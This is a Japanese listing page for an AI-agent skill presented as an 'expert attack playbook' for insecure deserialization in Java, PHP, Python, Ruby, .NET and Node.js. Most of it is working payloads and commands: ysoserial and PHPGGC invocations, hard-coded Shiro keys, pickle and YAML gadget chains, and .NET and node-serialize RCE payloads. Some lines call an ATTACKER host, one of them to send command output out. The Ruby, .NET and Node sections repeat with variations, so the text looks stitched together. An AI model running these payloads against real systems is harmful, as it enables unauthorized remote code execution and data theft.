mcpField
D
deserialization-insecure

deserialization-insecure

github.com/yaklangセキュリティ2.6k3.7k 回インストール6 週間前に更新
リポジトリ

deserialization-insecure について

Java、PHP、Python、Ruby、.NETの安全でないデシリアライズを調査するセキュリティテスト向けスキルです。トラフィックの特徴、ガジェットチェーンの選定、安全な確認プローブ、ysoserialやPHPGGCなどのツールを扱います。

主な機能

  1. 01複数言語のデシリアライズ通信の特徴
  2. 02Javaガジェットチェーンとバージョン情報
  3. 03ysoserialとPHPGGCの使い方
  4. 04Python pickleとPHP Pharの分析
  5. 05安全な確認プローブと検出手順
  6. 06Rubyと.NETの参考情報

活用シーン

  1. 01リクエストやCookie内のシリアライズデータを特定
  2. 02対象言語と依存関係に応じたガジェットチェーンの選定
  3. 03URLDNSプローブによるJavaデシリアライズの確認
  4. 04信頼できない入力を扱うデシリアライズ処理の点検

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill deserialization-insecure

インストール後、Claude Code で/deserialization-insecureを入力して読み込まれたか確認します。

同梱ファイルJAVA_GADGET_CHAINS.md

詳細

スキル:安全でないデシリアライゼーション — エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:Java、PHP、Python におけるエキスパート向けデシリアライゼーション手法です。ガジェットチェーンの選定、トラフィックのフィンガープリント採取、ツールの使用(ysoserial、PHPGGC)、Shiro/WebLogic/Commons Collections の詳細、Phar デシリアライゼーション、Python pickle の悪用を扱います。基盤モデルは、シンクの発見と利用可能なガジェットチェーンの発見の違いを見落としがちです。

0. 関連するルーティング

  • デシリアライゼーションが JNDI ルックアップにつながる場合は、jndi-injection(例:JDK 8u191 以降の LDAP → デシリアライゼーションによるバイパス)
  • デシリアライゼーションのエンドポイントが公開管理サービス(RMI Registry、T3、AJP)の場合は、unauthorized-access-common-services
  • WAF が BCEL ClassLoader または Fastjson の @type ペイロードをブロックする場合は、ghost-bits-cast-attack — Ghost Bits は各バイトコードバイトを、下位 8 ビットが一致する Unicode 文字でラップするため、WAF がフィンガープリントを採取できないペイロードになります
詳細リファレンス

次の情報が必要な場合は、JAVA_GADGET_CHAINS.md も読み込んでください。

  • Java ガジェットチェーンのバージョン互換性マトリックス(CommonsCollections 1~7、CommonsBeanutils、Spring、JDK のみ、Groovy、Hibernate、ROME、C3P0 など)
  • SnakeYAML ガジェット(ScriptEngineManager/URLClassLoader)とエクスプロイト JAR の構造
  • Hessian/Kryo/Avro/XStream のデシリアライゼーションパターンとトラフィックのフィンガープリント
  • .NET ViewState のデシリアライゼーション(machineKey の要件、ysoserial.net による ViewState の偽造、Blacklist3r)
  • Ruby の YAML.load と YAML.safe_load のバージョン固有チェーンを使ったエクスプロイト
  • 検出用フィンガープリント:形式別マジックバイト一覧(Java AC ED、.NET AAEAAD、Python pickle 80 0N、PHP O:、Ruby 04 08)

1. トラフィックのフィンガープリント採取 — デシリアライゼーションか?

Java シリアライズオブジェクト
指標確認場所
16 進数の ac ed 00 05リクエスト/レスポンス本文、Cookie、POST パラメーター内の生のバイナリ
Base64 の rO0ABCookie(rememberMe)、非表示フォームフィールド、JWT クレーム
Content-Type: application/x-java-serialized-objectHTTP ヘッダー
T3/IIOP プロトコルトラフィックWebLogic ポート(7001、7002)
PHP シリアライズオブジェクト
指標確認場所
O:NUMBER:"ClassName" パターンPOST 本文、Cookie、セッションファイル
a:NUMBER:{(配列)同じ場所
phar:// URI の使用ユーザー制御のパスを受け付けるファイル操作
Python Pickle
指標確認場所
16 進数の 80 03 または 80 04(プロトコル 3/4)リクエスト、メッセージキュー内のバイナリデータ
Base64 エンコードされたバイナリデータAPI パラメーター、Cookie、Redis の値
ソースコード内の pickle.loads/pickle.loadコードレビュー/ホワイトボックス

2. JAVA — ガジェットチェーンとツール

ysoserial — 主要ツール
# Generate payload (example: CommonsCollections1 chain with command)
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin

# Base64-encode for HTTP transport
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0

# Common chains to try (ordered by frequency of vulnerable dependency):
# CommonsCollections1-7  — Apache Commons Collections 3.x / 4.x
# Spring1, Spring2       — Spring Framework
# Groovy1               — Groovy
# Hibernate1            — Hibernate
# JBossInterceptors1    — JBoss
# Jdk7u21               — JDK 7u21 (no extra dependency)
# URLDNS                — DNS-only confirmation (no RCE, works everywhere)
URLDNS — 安全な確認プローブ

URLDNS は RCE を発生させずに DNS ルックアップを実行します。被害を与えずにデシリアライゼーションを確認できます。

java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin

Collaborator で DNS ヒットを確認できた場合、デシリアライゼーションが確認されたことになります。その後、RCE チェーンにエスカレーションします。

Commons Collections — 古典的なチェーン

クラスパスに org.apache.commons.collections(3.x)があり、アプリケーションが信頼できないデータに対して readObject() を呼び出す場合に、この脆弱性が存在します。

チェーン内の主要クラス:InvokerTransformer → ChainedTransformer → TransformedMap → デシリアライゼーション中に Runtime.exec() を実行します。

Apache Shiro — rememberMe のデシリアライゼーション

Shiro は AES-CBC を使用して、シリアライズされた Java オブジェクトを rememberMe クッキーに暗号化して保存します。

Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA==          # most common default
wGJlpLanyXlVB1LUUWolBg==          # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==

攻撃の流れ:

  1. 検出:無効なセッションで、レスポンスに rememberMe=deleteMe クッキーが設定されることを確認します
  2. ysoserial ペイロードを生成します(幅広い互換性のため、CommonsCollections6 を推奨)
  3. 既知のキーとランダムな IV を使って AES-CBC で暗号化します
  4. Base64 でエンコードし、rememberMe クッキーの値として設定します
  5. リクエストを送信すると、サーバーが復号してデシリアライズし、RCE が発生します

DNSLog による確認(本格的な RCE の前段階):URLDNS チェーンを使用します → java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" → 暗号化 → クッキーを設定 → DNSLog へのアクセスを確認します。

修正後(ランダムキー):パディングオラクルからキーが漏えいする可能性があります。または、別の CVE(SHIRO-721)が存在します。

WebLogic のデシリアライゼーション

複数の攻撃経路があります:

  • T3 プロトコル(ポート 7001):シリアライズされたオブジェクトを直接インジェクションします
  • XMLDecoder(CVE-2017-10271):/wls-wsat/CoordinatorPortType を介した XML ベースのデシリアライゼーションです
  • IIOP プロトコル:T3 の代替手段です
# T3 probe — check if T3 is exposed:
nmap -sV -p 7001 TARGET
# Look for: "T3" or "WebLogic" in service banner
Java RMI Registry

RMI Registry(ポート 1099)は、設計上シリアライズされたオブジェクトを受け入れます:

# ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"

# Requires: vulnerable library on target's classpath
# Works on: JDK <= 8u111 without JEP 290 deserialization filter
JDK バージョンの制約
JDK バージョン影響
< 8u121RMI/LDAP のリモートクラス読み込みが動作します
8u121-8u190RMI では trustURLCodebase=false になります。LDAP は引き続き動作します
>= 8u191RMI と LDAP の両方でリモートクラス読み込みがブロックされます
>= 8u191 のバイパスLDAP を使用し、(リモートクラスではなく)シリアライズ済みのガジェットオブジェクトを返します

3. PHP — unserialize と PHAR

マジックメソッドチェーン

PHP のデシリアライゼーションでは、マジックメソッドが次の順序で呼び出されます:

__wakeup()  → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call()     → called for inaccessible methods

攻撃:__destruct() または __wakeup() が危険な操作(ファイル書き込み、SQL クエリ、コマンド実行、SSRF)を引き起こすよう、シリアライズされたオブジェクトを細工します。

シリアライズされたオブジェクトの形式
O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}
phpMyAdmin の設定インジェクション(実際の事例)

phpMyAdmin の PMA_Config クラスは、source プロパティを通じて任意のファイルを読み込みます:

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}
PHPGGC — PHP ガジェットチェーンジェネレーター
# List available chains:
phpggc -l

# Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id

# Common chains:
# Laravel/RCE1-10
# Symfony/RCE1-4
# Guzzle/RCE1
# Monolog/RCE1-2
# WordPress/RCE1
# Slim/RCE1
Phar のデシリアライゼーション

Phar アーカイブには、シリアライズされたメタデータが含まれています。phar:// URI に対するファイル操作を行うと、unserialize() が直接呼び出されていなくても、デシリアライゼーションが発生します。

トリガーとなる関数(一部):

file_exists()    file_get_contents()    fopen()
is_file()        is_dir()               copy()
filesize()       filetype()             stat()
include()        require()              getimagesize()

攻撃の流れ:

  1. 有効なファイルをアップロードします(例:Phar ポリグロットを含む JPEG)
  2. ファイル操作を発生させます:file_exists("phar://uploads/avatar.jpg")
  3. PHP が Phar のメタデータをデシリアライズし、ガジェットチェーンが実行されます
# Generate phar with PHPGGC:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id

4. PYTHON — PICKLE

reduce メソッド

Python の pickle.loads() は、デシリアライゼーション中にオブジェクトの __reduce__() を呼び出します。このメソッドは、呼び出し可能オブジェクトと引数を返すことができます:

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("id",))

payload = pickle.dumps(Exploit())
# Send payload to target that calls pickle.loads()
Pickle オペコードの分析
import pickletools
pickletools.dis(payload)
# Shows opcodes: GLOBAL, REDUCE, etc.
# Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)
Python の一般的なデシリアライゼーションシンク
pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data)           # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)
防御のバイパス:RestrictedUnpickler

RestrictedUnpickler.find_class が使用されている場合でも、許可リストの範囲が広すぎないか確認します:

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        raise pickle.UnpicklingError(f"forbidden: {module}.{name}")

safe_builtins に eval、exec、または __import__ が含まれている場合、依然として悪用可能です。


5. 検出方法

Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│   ├── Use URLDNS probe for safe confirmation
│   ├── Identify libraries (error messages, known product)
│   └── Try ysoserial chains matching identified libraries
│
├── PHP signature (O:N:"...)?
│   ├── Identify framework (Laravel, Symfony, WordPress)
│   ├── Try PHPGGC chains for that framework
│   └── Check for phar:// wrapper in file operations
│
├── Python (opaque binary, base64 blob)?
│   ├── Try pickle payload with DNS callback
│   └── Check if PyYAML unsafe load is used
│
└── Not sure?
    ├── Try URLDNS payload (Java) — check DNS
    ├── Try PHP serialized test string
    └── Monitor error messages for class loading failures

6. 防御に関する知識

言語緩和策
JavaJEP 290 デシリアライゼーションフィルターを使用します。許可するクラスを許可リストに登録します。信頼できないデータには ObjectInputStream を使用せず、代わりに JSON/Protobuf を使用します
PHPユーザー入力に対する unserialize() の使用を避け、代わりに json_decode() を使用します。ファイル操作で phar:// をブロックします
Pythonpickle は信頼できるデータにのみ使用します。外部入力には json を使用します。PyYAML では必ず yaml.safe_load() を使用します

7. クイックリファレンス — 主要なペイロード

# Java — URLDNS confirmation
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"

# Java — RCE via CommonsCollections
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"

# PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"

# PHP — Phar polyglot
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"

# Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())"

# Shiro default key test
rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>

8. RUBY のデシリアライゼーション

Ruby Marshal
  • 信頼できないデータに対する Marshal.load は RCE につながります
  • フィンガープリント:一般的なテキストヘッダーのないバイナリデータです
  • さまざまな Ruby バージョン向けのガジェットチェーンが存在します
  • Docker での検証:[hex_string].pack("H*") を使った 16 進数ペイロードです
Ruby YAML(YAML.load)
  • YAML.load(YAML.safe_load ではありません)は任意の Ruby オブジェクトを実行します
  • Ruby 2.7.2 より前:Gem::Requirement チェーン → git_set: id / git_set: sleep 600
  • Ruby 2.x-3.x:Gem::Installer → TarReader → Kernel#system チェーン(より長く、複数ステップ)
  • 常に確認します:クラスのインスタンス化を確認するには、YAML.load("--- !ruby/object:Gem::Installer\ni: x") を実行します
  • ペイロードのテンプレート:
--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  type: :runtime
  specs:
    - !ruby/object:Gem::StubSpecification
      loaded_from: "|id"
  • 注:YAML.safe_load は安全です(Ruby 2.1 以降)。Psych.safe_load も安全です

9. .NET のデシリアライズ

  • トラフィックのフィンガープリント:

    • BinaryFormatter:16 進数の AAEAAD(base64 の AAEAAAD/////)
    • ViewState:16 進数の FF01、または /w プレフィックス
    • JSON.NET:JSON 内の $type プロパティ
  • BinaryFormatter(最も危険で、.NET 5 以降では非推奨):任意の型をインスタンス化します

  • XmlSerializer:コマンド実行に利用する ObjectDataProvider + XamlReader チェーン

    <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:od="http://schemas.microsoft.com/powershell/2004/04" type="System.Windows.Data.ObjectDataProvider">
      <od:MethodName>Start</od:MethodName>
      <od:MethodParameters><sys:String>cmd</sys:String><sys:String>/c calc</sys:String></od:MethodParameters>
      <od:ObjectInstance xsi:type="System.Diagnostics.Process"/>
    </root>
    
  • NetDataContractSerializer:BinaryFormatter と同様で、XML 内に完全な型情報を含みます

  • LosFormatter:ViewState で使用され、ObjectStateFormatter にデシリアライズします

  • JSON.NET:$type プロパティで型を制御できます → ObjectDataProvider + ExpandedWrapper チェーン

    {"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}
    
  • ツール:ysoserial.net — すべての .NET フォーマッター向けのペイロードを生成します

    ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64
    ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc"
    
  • POP ガジェット:ObjectDataProvider、ExpandedWrapper、AssemblyInstaller.set_Path


10. NODE.JS のデシリアライズ

  • node-serialize:IIFE(即時実行関数式)を使った unserialize()

    • ペイロードのマーカー:_$$ND_FUNC$$_
    • 自動実行するには、末尾に () を追加します:
    {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"}
    
  • funcster:__js_function プロパティ → constructor.constructor で process にアクセスします

    {"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"}
    
  • cryo:funcster と同様に、関数をサポートする JS オブジェクトをシリアライズします


RUBY のデシリアライズ

Marshal(バイナリ形式)
# Ruby's Marshal.load is equivalent to Java's ObjectInputStream
# Any class with marshal_dump/marshal_load can be a gadget

# Detection: binary data starting with \x04\x08
# Or hex: 0408

# PoC gadget (requires vulnerable class in scope):
payload = "\x04\x08..." # hex-encoded gadget chain
Marshal.load(payload)    # triggers arbitrary code execution
YAML.load(重大 — 最も一般的な Ruby のデシリアライズ対象)
# YAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects

# Ruby <= 2.7.2 — Gem::Requirement chain:
# Triggers via !ruby/object constructor
---
!ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  specs:
    - !ruby/object:Gem::Source
      current_fetch_uri: !ruby/object:URI::Generic
        path: "| id"

# Ruby 2.x–3.x — Gem::Installer chain:
# Uses Gem::Installer → Gem::StubSpecification → Kernel#system
---
!ruby/hash:Gem::Installer
i: x
!ruby/hash:Gem::SpecFetcher
i: y
!ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::Package::TarReader
  io: &1 !ruby/object:Net::BufferedIO
    io: &1 !ruby/object:Gem::Package::TarReader::Entry
      read: 0
      header: "abc"
    debug_output: &1 !ruby/object:Net::WriteAdapter
      socket: &1 !ruby/object:Gem::RequestSet
        sets: !ruby/object:Net::WriteAdapter
          socket: !ruby/module 'Kernel'
          method_id: :system
        git_set: id    # <-- command to execute
      method_id: :resolve

# Safe alternative: YAML.safe_load (whitelist of allowed types)
ツール
  • elttam/ruby-deserialization — Ruby ガジェットチェーンジェネレーター
  • frohoff/ysoserial に着想を得て → Ruby 固有のフォークを確認します

.NET のデシリアライズ

トラフィックのフィンガープリント
指標シリアライザー
16 進数の 00 01 00 00 00 / Base64 の AAEAADBinaryFormatter
16 進数の FF 01 / Base64 の /wDataContractSerializer
__VIEWSTATE で始まる ViewStateLosFormatter / ObjectStateFormatter
$type プロパティを含む JSONJSON.NET(Newtonsoft)TypeNameHandling
<ObjectDataProvider> を含む XMLXmlSerializer / NetDataContractSerializer
BinaryFormatter / LosFormatter
# Most dangerous — arbitrary type instantiation
# Tool: ysoserial.net

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\\out.txt" -o base64

# LosFormatter wraps BinaryFormatter — same gadgets work
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64
XmlSerializer + ObjectDataProvider
<root>
  <ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
    <ObjectDataProvider.MethodParameters>
      <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">cmd.exe</sys:String>
      <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">/c whoami</sys:String>
    </ObjectDataProvider.MethodParameters>
    <ObjectDataProvider.ObjectInstance>
      <ProcessStartInfo xmlns="clr-namespace:System.Diagnostics;assembly=System">
        <ProcessStartInfo.FileName>cmd.exe</ProcessStartInfo.FileName>
        <ProcessStartInfo.Arguments>/c whoami</ProcessStartInfo.Arguments>
      </ProcessStartInfo>
    </ObjectDataProvider.ObjectInstance>
  </ObjectDataProvider>
</root>
TypeNameHandling を使用した JSON.NET
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": ["cmd.exe", "/c whoami"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System"
  }
}

TypeNameHandling が Auto、Objects、Arrays、または All に設定されている場合は脆弱です。

ツール
  • pwntester/ysoserial.net — .NET の主要なデシリアライズペイロードジェネレーター
  • ガジェットチェーン:TypeConfuseDelegate、TextFormattingRunProperties、PSObject、ActivitySurrogateSelectorFromFile

NODE.JS のデシリアライズ

node-serialize(IIFE パターン)
// node-serialize uses eval() internally
// Payload uses _$$ND_FUNC$$_ marker + IIFE:

var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';

// The trailing () makes it an Immediately Invoked Function Expression
// When unserialize() processes this, it executes the function

// Full HTTP exploit (in cookie or body):
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"[email protected]"}
funcster
// funcster deserializes functions via constructor.constructor pattern:
{"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}"}
PHP create_function + デシリアライズの組み合わせ
// When a PHP class uses create_function in __destruct or __wakeup:
// Serialize an object where:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function(){ ;}system('id');/* }
// Closing the original function body and injecting a command

// In serialized form, private properties need \0ClassName\0 prefix:
O:7:"Noteasy":2:{s:19:"\0Noteasy\0method_name";s:15:"create_function";s:14:"\0Noteasy\0args";s:21:";}system('id');/*";}

11. RUBY のデシリアライズ

Marshal
# Ruby's native serialization. Dangerous when deserializing untrusted data.
# Detection: Binary data starting with \x04\x08

# One-liner gadget verification (hex-encoded payload):
payload = ["040802"].pack("H*")  # Minimal Marshal header
Marshal.load(payload)
YAML(CVE が多い攻撃対象領域)
# YAML.load is DANGEROUS — equivalent to eval for Ruby objects
# Safe alternative: YAML.safe_load

# Ruby <= 2.7.2: Gem::Requirement chain
--- !ruby/object:Gem::Requirement
requirements:
  - !ruby/object:Gem::DependencyList
    specs:
    - !ruby/object:Gem::Source
      uri: "| id"

# Ruby 2.x-3.x: Gem::Installer chain (more complex)
# Triggers: git_set → Kernel#system
--- !ruby/object:Gem::Installer
i: x
# (Full chain available in ysoserial-ruby / blind-ruby-deserialization)

# Universal detection: supply YAML that triggers DNS callback
--- !ruby/object:Gem::Fetcher
uri: http://BURP_COLLAB/

ツール:elttam/ruby-deserialization、mbechler/ysoserial(Ruby 版)


12. .NET のデシリアライズ

フィンガープリント
マジックバイト形式
AAEAAD(base64)/ 00 01 00 00 00(16 進数)BinaryFormatter
FF 01 または /w(base64)ViewState(ObjectStateFormatter)
<(XML の開始)XmlSerializer / DataContractSerializer
$type キーを含む JSONJSON.NET(TypeNameHandling が有効)
BinaryFormatter(最も危険)
# Always dangerous when deserializing untrusted data
# Tool: ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o raw
ViewState(ASP.NET)
# If __VIEWSTATE is not MAC-protected (enableViewStateMac=false):
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY"

# Leak machineKey from web.config (via LFI/backup) → forge ViewState
XmlSerializer + ObjectDataProvider
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
      xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <ObjectDataProvider MethodName="Start">
    <ObjectInstance xsi:type="Process">
      <StartInfo>
        <FileName>cmd.exe</FileName>
        <Arguments>/c whoami</Arguments>
      </StartInfo>
    </ObjectInstance>
  </ObjectDataProvider>
</root>
JSON.NET($type の悪用)
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System",
    "StartInfo": {
      "$type": "System.Diagnostics.ProcessStartInfo, System",
      "FileName": "cmd.exe",
      "Arguments": "/c whoami"
    }
  }
}

JSON のデシリアライズ設定で TypeNameHandling != None の場合は脆弱です。

ツール
  • pwntester/ysoserial.net — .NET の主要なガジェットチェーンジェネレーター
  • NotSoSecure/Blacklist3r — 既知の machineKey を使って ViewState を復号/偽造します

13. NODE.JS のデシリアライズ

node-serialize (IIFE injection)
// Vulnerable pattern:
var serialize = require('node-serialize');
var obj = serialize.unserialize(userInput);

// Payload: IIFE (Immediately Invoked Function Expression)
// The _$$ND_FUNC$$_ prefix signals a serialized function
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}

// Key: the () at the end causes immediate execution upon deserialization
funcster
// Vulnerable: funcster.deepDeserialize(userInput)
// Payload uses __js_function to inject via constructor chain:
{"__js_function":"function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()"}
PHP create_function + Deserialization Combo
// When create_function is available and object is deserialized:
// Payload creates lambda with injected code:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function anonymous() { ;}system('id');/* }
// Effective: close original body, inject command, comment out rest

// In serialized form (with private property \0ClassName\0):
O:8:"ClassName":2:{s:13:"\0ClassName\0func";s:15:"create_function";s:12:"\0ClassName\0arg";s:18:";}system('id');/*";}

コメント